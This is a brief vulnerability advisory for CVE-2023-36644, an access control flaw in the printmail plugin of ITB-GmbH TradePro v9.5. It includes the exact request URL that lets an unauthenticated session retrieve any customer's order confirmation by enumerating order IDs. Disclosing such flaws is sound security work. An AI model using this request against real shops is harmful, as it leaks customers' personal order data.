CVE-2023-36644

== Affected Software [%hardbreaks] Vendor: ITB-GmbH Affected Products: TradePro (v9.5) Component: Printmail Plugin Confirmed: yes

== Attack Vector [%hardbreaks] Type: Incorrect Access Control Access-Type: Remote Impact: Information Disclosure

Incorrect Access Control in the printmail plugin in ITB-GmbH TradePro v9.5 allows remote attackers to receive all order confirmations from the online shop by passing arbitrary order numbers to an http(s) endpoint.

== Description The orderid should be known beforehand but can be enumerated easily or by using an SQLi (see Report link:/security/CVE-2023-36645[CVE-2023-36645])

Calling http(s)://[DOMAIN]/shop/de/?plugin=printmail&wkid=[COOKIE]&orderid=[ORDER_ID] with a valid but unauthenticated session cookie gives the attacker access to all order confirmations.
